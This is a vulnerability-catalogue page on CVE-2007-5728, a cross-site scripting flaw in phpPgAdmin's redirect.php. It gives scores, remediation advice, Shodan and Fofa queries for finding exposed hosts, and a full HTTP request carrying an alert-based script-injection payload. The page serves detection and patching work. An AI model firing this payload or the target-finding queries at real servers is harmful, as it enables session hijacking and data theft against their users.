🔙 목록으로 돌아가기

CVE-2007-5728: phpPgAdmin <=4.1.1 - Cross-Site Scripting

TitlephpPgAdmin <=4.1.1 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of phpPgAdmin or apply the necessary security patches provided by the vendor.
CVSS Score4.3
EPSS Score0.00523
CVE IDCVE-2007-5728
CWE IDCWE-79
Shodan Queryhttp.title:"phpPgAdmin"http.title:phppgadmincpe:"cpe:2.3:a:phppgadmin_project:phppgadmin"
Fofa Querytitle=phppgadmin
Tags cve2007 cve xss pgadmin phppgadmin edb vuln

🔍 Vulnerability Description

phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865.

🌐 HTTP Request

GET /redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2007/CVE-2007-5728.yaml

🦈 Packet Capture: ⬇️ Download cve-2007-5728.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A